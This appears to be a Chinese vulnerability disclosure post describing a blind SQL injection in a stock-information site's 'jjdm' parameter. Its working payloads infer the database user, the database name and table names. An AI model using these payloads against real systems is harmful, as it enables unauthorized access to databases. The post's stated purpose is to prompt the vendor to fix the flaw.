首先
(jjdm-(length(user())>22)*8000)&ordertype=asc返回页面
而后尝试几个值,到
(jjdm-(length(user())=22)*8000)&ordertype=asc返回页面
判定user()长度为22个字符,这里已经可以判断出这是一个注入点,为了让管理认识到危害,我们接着往下暴数据
(jjdm-(ascii(substring((database()),1,1))=102)*8000)&ordertype=asc依次往下,获取库名为finance
(jjdm-((select count(*) from information_schema.tables where table_schema=0x66696E616E6365)=136)*8000)&ordertype=asc看来有136个表,这里我们只跑出一个表就可以了,毕竟只是提醒厂商修复漏洞,而不是做渗透测试
%28jjdm-%28length%28%28select%20distinct%20table_name%20from%20information_schema.tables%20where%20table_schema=0x66696E616E6365%20limit%201,1%29%29=6%29*8000%29&ordertype=asc这里我挑一个短的,第二个表长度为6,并且遇到了一个问题,有时不管表达式是真或假,都会返回这样一个页面
没有返回有股票信息的页面,让我无法判断,后来发现有些出现这种错误的页面在表达式后面加上注释符可以解决,不过并不完美,还是有一些时候会出现这种错误,希望各位大牛指点一下,不只是这种,sleep也是,某些页面不管用>100 =100或者<100都不会延迟
最后
(jjdm-(ascii(substring((select distinct table_name from information_schema.tables where table_schema=0x66696E616E6365 limit 1,1),1,1))=97)*8000)#&ordertype=asc这种形式爆出该表名称为all_hq
至此检测结束,希望厂家尽快修复
漏洞证明:
(jjdm-(length(user())=22)*8000)&ordertype=asc
(jjdm-(ascii(substring((database()),7,1))=101)*8000)&ordertype=asc
修复方案:
严格过滤
阅读(1421) | 评论(0) | 转发(0) |